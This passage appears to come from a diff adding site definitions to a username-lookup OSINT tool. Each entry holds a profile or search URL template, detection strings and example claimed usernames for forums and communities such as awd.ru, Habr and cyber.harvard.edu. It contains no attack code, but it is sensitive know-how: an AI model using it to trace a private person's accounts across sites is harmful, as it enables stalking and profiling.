+ "aviabaza-meria.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://aviabaza-meria.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "awd.ru": { + "tags": [ + "forum", + "ru", + "travel" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "presenseStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430:" + ], + "alexaRank": 32426, + "urlMain": "https://forum.awd.ru", + "url": "https://forum.awd.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "babyboom.pl": { + "engine": "XenForo", + "alexaRank": 685508, + "urlMain": "http://www.babyboom.pl/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "pl" + ] + }, + "barnaul-forum.ru": { + "engine": "uCoz", + "alexaRank": 8892304, + "urlMain": "http://barnaul-forum.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "bbs.evony.com": { + "tags": [ + "forum", + "in", + "pk", + "tr", + "us" + ], + "engine": "vBulletin", + "alexaRank": 457801, + "urlMain": "http://bbs.evony.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "bbs.huami.com": { + "disabled": true, + "tags": [ + "cn", + "in", + "ir", + "ru", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "\u63d0\u793a\u4fe1\u606f - huami\u8bba\u575b - Powered by Discuz!" + ], + "alexaRank": 137565, + "urlMain": "https://bbs.huami.com", + "url": "https://bbs.huami.com/home.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "beyond3d": { + "tags": [ + "forum", + "in", + "pk", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 500969, + "urlMain": "https://forum.beyond3d.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "bigfooty.com": { + "tags": [ + "au", + "forum" + ], + "engine": "XenForo", + "alexaRank": 153706, + "urlMain": "https://www.bigfooty.com/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "biohack": { + "checkType": "status_code", + "alexaRank": 2248035, + "urlMain": "https://forum.biohack.me", + "url": "https://forum.biohack.me/index.php?p=/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "bluesystem": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "images/avatars/default_avatars/22.gif" + ], + "alexaRank": 2076846, + "urlMain": "http://forum.bluesystem.online", + "url": "http://forum.bluesystem.online/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Tiffani", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "browncafe.com": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 449545, + "urlMain": "http://www.browncafe.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "caravelgames": { + "checkType": "message", + "absenceStrs": [ + "Guest" + ], + "alexaRank": 2871774, + "urlMain": "http://forum.caravelgames.com", + "url": "http://forum.caravelgames.com/member.php?Action=viewprofile&username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "catholic": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 66514, + "urlMain": "https://forums.catholic.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ceed.at.ua": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 6723704, + "urlMain": "http://ceed.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cfd-online": { + "tags": [ + "ca", + "de", + "fr", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "CFD Online Discussion Forums" + ], + "alexaRank": 90772, + "urlMain": "https://www.cfd-online.com", + "url": "https://www.cfd-online.com/Forums/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "chaos.social": { + "checkType": "status_code", + "alexaRank": 2073381, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://chaos.social/", + "url": "https://chaos.social/@{username}", + "usernameClaimed": "rixx", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "cheat-master.ru": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 498528, + "urlMain": "http://cheat-master.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "chsnik-kz.ucoz.kz": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 280915, + "urlMain": "http://chsnik-kz.ucoz.kz", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cigarpass.com": { + "tags": [ + "forum", + "ir" + ], + "engine": "XenForo", + "alexaRank": 1051756, + "urlMain": "http://www.cigarpass.com/forum", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club-2105.at.ua": { + "engine": "uCoz", + "urlMain": "http://club-2105.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club-fiat.org.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 2757380, + "urlMain": "http://club-fiat.org.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club.7ya.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 38054, + "urlMain": "https://club.7ya.ru", + "url": "https://club.7ya.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club.cnews.ru": { + "disabled": true, + "tags": [ + "blog", + "ru" + ], + "checkType": "status_code", + "alexaRank": 19671, + "urlMain": "https://club.cnews.ru/", + "url": "https://club.cnews.ru/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "clubsnap.com": { + "tags": [ + "forum", + "in", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 463420, + "urlMain": "https://www.clubsnap.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "collectors.com": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 44338, + "urlMain": "https://forums.collectors.com", + "url": "https://forums.collectors.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "community.asterisk.org": { + "tags": [ + "forum", + "in", + "ir", + "jp", + "us" + ], + "engine": "Discourse", + "alexaRank": 60320, + "urlMain": "https://community.asterisk.org", + "usernameClaimed": "bford", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "community.p2pu.org": { + "engine": "Discourse", + "alexaRank": 657370, + "urlMain": "https://community.p2pu.org", + "usernameClaimed": "grif", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "couchsurfing": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 19065, + "urlMain": "https://www.couchsurfing.com/", + "url": "https://www.couchsurfing.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "crown6.org": { + "engine": "uCoz", + "alexaRank": 677490, + "urlMain": "http://crown6.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cs-ru.ucoz.org": { + "engine": "uCoz", + "urlMain": "http://cs-ru.ucoz.org", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cs-strikez.org": { + "tags": [ + "by", + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 380907, + "urlMain": "http://cs-strikez.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cyber.harvard.edu": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 575, + "urlMain": "https://cyber.harvard.edu", + "url": "https://cyber.harvard.edu/people/{username}", + "usernameClaimed": "dboyd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "d3": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 45834, + "urlMain": "https://d3.ru/", + "url": "https://d3.ru/user/{username}/posts", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dailykos": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6815, + "urlMain": "https://www.dailykos.com", + "url": "https://www.dailykos.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "delta72.at.ua": { + "engine": "uCoz", + "alexaRank": 3634377, + "urlMain": "http://delta72.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "devRant": { + "tags": [ + "coding", + "in" + ], + "checkType": "response_url", + "alexaRank": 113177, + "urlMain": "https://devrant.com/", + "url": "https://devrant.com/users/{username}", + "errorUrl": "https://devrant.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "devushka": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 1755762, + "urlMain": "https://devushka.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "diecastcrazy.com": { + "engine": "XenForo", + "alexaRank": 1796471, + "urlMain": "http://diecastcrazy.com/", + "usernameClaimed": "texas3", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "auto", + "forum" + ] + }, + "dieselmastera.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1315813, + "urlMain": "http://dieselmastera.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dimitrov.ucoz.ua": { + "engine": "uCoz", + "alexaRank": 9464803, + "urlMain": "http://dimitrov.ucoz.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "discourse.haskell.org": { + "tags": [ + "coding", + "forum", + "in", + "za" + ], + "engine": "Discourse", + "alexaRank": 64969, + "urlMain": "https://discourse.haskell.org", + "usernameClaimed": "philipgaudreau", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "diz-cs.ru": { + "engine": "uCoz", + "alexaRank": 5886610, + "urlMain": "http://diz-cs.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dnbforum.com": { + "engine": "XenForo", + "alexaRank": 4411168, + "urlMain": "http://dnbforum.com/", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "doctissimo": { + "tags": [ + "fr" + ], + "checkType": "status_code", + "alexaRank": 6721, + "urlMain": "https://club.doctissimo.fr", + "url": "https://club.doctissimo.fr/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "donate.stream": { + "tags": [ + "finance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 373930, + "urlMain": "https://donate.stream/", + "url": "https://donate.stream/{username}", + "usernameClaimed": "moses91", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dpils-scooter.ucoz.lv": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 408770, + "urlMain": "http://dpils-scooter.ucoz.lv", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "drawmixpaint": { + "checkType": "status_code", + "alexaRank": 884576, + "urlMain": "https://forum.drawmixpaint.com", + "url": "https://forum.drawmixpaint.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "disabled": true + }, + "dremel.do.am": { + "engine": "uCoz", + "urlMain": "http://dremel.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "drive2": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://www.drive2.ru/", + "url": "https://www.drive2.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1558 + }, + "dvocu.ru": { + "engine": "uCoz", + "alexaRank": 8131750, + "urlMain": "http://dvocu.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dwg": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 45931, + "urlMain": "https://forum.dwg.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eBaumsWorld": { + "tags": [ + "news" + ], + "checkType": "status_code", + "alexaRank": 9556, + "urlMain": "https://www.ebaumsworld.com/", + "url": "https://www.ebaumsworld.com/user/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eGPU": { + "tags": [ + "forum", + "jp", + "tech", + "tw", + "us" + ], + "checkType": "status_code", + "alexaRank": 105020, + "urlMain": "https://egpu.io/", + "url": "https://egpu.io/forums/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "easyen": { + "tags": [ + "ru" + ], + "presenseStrs": [ + "prof_12w_pr" + ], + "engine": "uCoz", + "alexaRank": 11663, + "urlMain": "https://easyen.ru", + "usernameClaimed": "wd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "easyjob.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://easyjob.ucoz.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "egida.by": { + "tags": [ + "by" + ], + "engine": "uCoz", + "alexaRank": 421582, + "urlMain": "http://egida.by", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eintracht": { + "tags": [ + "tr", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 416094, + "urlMain": "https://eintracht.de", + "url": "https://community.eintracht.de/fans/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ekzoticsad.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://ekzoticsad.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "elektrik-avto.ru": { + "engine": "uCoz", + "alexaRank": 2524316, + "urlMain": "http://elektrik-avto.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "empires.su": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://empires.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "espero-club.ru": { + "engine": "uCoz", + "urlMain": "http://espero-club.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "excelworld.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 283903, + "urlMain": "http://excelworld.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fablero.ucoz.ru": { + "tags": [ + "in" + ], + "engine": "uCoz", + "alexaRank": 926078, + "urlMain": "http://fablero.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fanat1k": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 84823, + "urlMain": "https://forum.fanat1k.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fanficslandia.com": { + "engine": "XenForo", + "alexaRank": 9313550, + "urlMain": "https://fanficslandia.com/index.php", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "fire-team.clan.su": { + "engine": "uCoz", + "urlMain": "http://fire-team.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "firesofheaven.org": { + "engine": "XenForo", + "alexaRank": 904078, + "urlMain": "https://www.firesofheaven.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "fixya": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 4826, + "urlMain": "https://www.fixya.com", + "url": "https://www.fixya.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fl": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 62704, + "urlMain": "https://www.fl.ru/", + "url": "https://www.fl.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fobia.at.ua": { + "engine": "uCoz", + "urlMain": "http://fobia.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "footballindex": { + "tags": [ + "forum", + "gb", + "in", + "sg", + "us" + ], + "checkType": "status_code", + "alexaRank": 960980, + "urlMain": "https://forums.footballindex.co.uk", + "url": "https://forums.footballindex.co.uk/user/{username}", + "usernameClaimed": "misto", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "forex-trader.do.am": { + "engine": "uCoz", + "urlMain": "http://forex-trader.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum-b.ru": { + "disabled": true, + "tags": [ + "forum", + "freelance", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1591283, + "urlMain": "https://forum-b.ru", + "url": "https://forum-b.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "pirat4761", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum-mil.ru": { + "engine": "uCoz", + "alexaRank": 7895206, + "urlMain": "http://forum-mil.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "forum-ssc.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://forum-ssc.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "forum.cxem.net": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "errors": { + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430": "Too many reqeusts" + }, + "checkType": "message", + "absenceStrs": [ + "\u041d\u0430\u0439\u0434\u0435\u043d\u043e 0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + ], + "alexaRank": 45469, + "urlMain": "https://forum.cxem.net/", + "url": "https://forum.cxem.net/index.php?/search/&q={username}&quick=1&type=core_members", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.hr": { + "tags": [ + "forum", + "hr" + ], + "engine": "vBulletin", + "alexaRank": 47440, + "urlMain": "http://www.forum.hr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.nameberry.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 18495, + "urlMain": "https://forum.nameberry.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.postupim.ru": { + "tags": [ + "education", + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 1026513, + "urlMain": "http://forum.postupim.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.ubuntu-it.org": { + "tags": [ + "ch", + "forum", + "in", + "it" + ], + "engine": "phpBB", + "alexaRank": 120956, + "urlMain": "https://forum.ubuntu-it.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.ykt.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "response_url", + "alexaRank": 20164, + "urlMain": "https://forum.ykt.ru", + "url": "https://forum.ykt.ru/viewprofile.jsp?forum_id=11&user={username}", + "usernameClaimed": "NINJA", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.battlefield.com": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 30405, + "urlMain": "https://forums.battlefield.com", + "url": "https://forums.battlefield.com/en-us/profile/{username}", + "usernameClaimed": "NLBartmaN", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.bulbagarden.net": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 4189, + "urlMain": "http://forums.bulbagarden.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.digitalpoint.com": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 17020, + "urlMain": "https://forums.digitalpoint.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.docker.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 2797, + "urlMain": "https://forums.docker.com", + "usernameClaimed": "dafritz84", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.drom.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + ], + "alexaRank": 1272, + "urlMain": "https://www.forumsdrom.ru/", + "url": "https://www.forumsdrom.ru/member.php?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.ea.com": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 610, + "urlMain": "https://forums.ea.com", + "url": "https://forums.ea.com/en/nhl/profile/discussions/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.eagle.ru": { + "disabled": true, + "tags": [ + "ca", + "forum", + "gaming", + "gb", + "in", + "us" + ], + "engine": "vBulletin", + "alexaRank": 114146, + "urlMain": "https://forums.eagle.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.opera.com": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 1523, + "urlMain": "https://forums.opera.com/", + "url": "https://forums.opera.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.overclockers.co.uk": { + "tags": [ + "forum", + "gb", + "uk" + ], + "disabled": true, + "engine": "XenForo", + "alexaRank": 17632, + "urlMain": "https://forums.overclockers.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.sailboatowners.com": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 182197, + "urlMain": "http://forums.sailboatowners.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.serebii.net": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 6195, + "urlMain": "https://forums.serebii.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.wrestlezone.com": { + "engine": "XenForo", + "alexaRank": 926689, + "urlMain": "http://forums.wrestlezone.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "foumds.universaldashboard.io": { + "engine": "Discourse", + "alexaRank": 1166714, + "urlMain": "https://forums.universaldashboard.io/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "free-pass.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2267468, + "urlMain": "http://free-pass.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codeby.net": { + "tags": [ + "forum", + "hacking", + "ru" + ], + "engine": "XenForo", + "alexaRank": 174592, + "urlMain": "https://codeby.net", + "usernameClaimed": "pragmalion", + "disabled": true, + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "freelance.codeby.net": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430!" + ], + "alexaRank": 174592, + "urlMain": "https://freelance.codeby.net", + "url": "https://freelance.codeby.net/user/{username}/portfolio/", + "usernameClaimed": "agnerfist", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "funcom": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 133344, + "urlMain": "https://forums.funcom.com", + "usernameClaimed": "everqu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "funny-games.biz": { + "disabled": true, + "tags": [ + "forum", + "lt", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 107518, + "urlMain": "https://forums.funny-games.biz", + "url": "https://forums.funny-games.biz/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "garminych": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://forum.garminych.ru/", + "url": "http://forum.garminych.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Corado", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gcup.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 303192, + "urlMain": "http://gcup.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gebirgs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gebirgs.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby", + "ru" + ] + }, + "gentoo": { + "tags": [ + "fi", + "forum", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "title>Gentoo Forums :: " + ], + "alexaRank": 60225, + "urlMain": "https://forums.gentoo.org", + "url": "https://forums.gentoo.org/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "geocaching": { + "tags": [ + "de", + "hobby", + "us" + ], + "checkType": "status_code", + "alexaRank": 17871, + "urlMain": "https://www.geocaching.com/", + "url": "https://www.geocaching.com/profile/?u={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "getmyuni": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Error 404" + ], + "alexaRank": 8345, + "urlMain": "https://getmyuni.com/", + "url": "https://www.getmyuni.com/user/{username}", + "usernameClaimed": "Subeesh.S30b0", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "gfycat": { + "tags": [ + "photo", + "sharing" + ], + "checkType": "status_code", + "alexaRank": 2166, + "urlMain": "https://gfycat.com/", + "url": "https://gfycat.com/@{username}", + "usernameClaimed": "Test", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "gitarizm": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 7680768, + "urlMain": "https://forum.gitarizm.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gloria.tv": { + "tags": [ + "ar", + "mx", + "pl", + "sk", + "us" + ], + "checkType": "status_code", + "alexaRank": 38090, + "urlMain": "https://gloria.tv", + "url": "https://gloria.tv/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "goha": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 57862, + "urlMain": "https://forums.goha.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Habr": { + "tags": [ + "blog", + "discussion", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://habr.com/", + "url": "https://habr.com/ru/users/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hackings.ru": { + "engine": "uCoz", + "urlMain": "http://hackings.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackster": { + "tags": [ + "in", + "tech" + ], + "checkType": "status_code", + "alexaRank": 21573, + "urlMain": 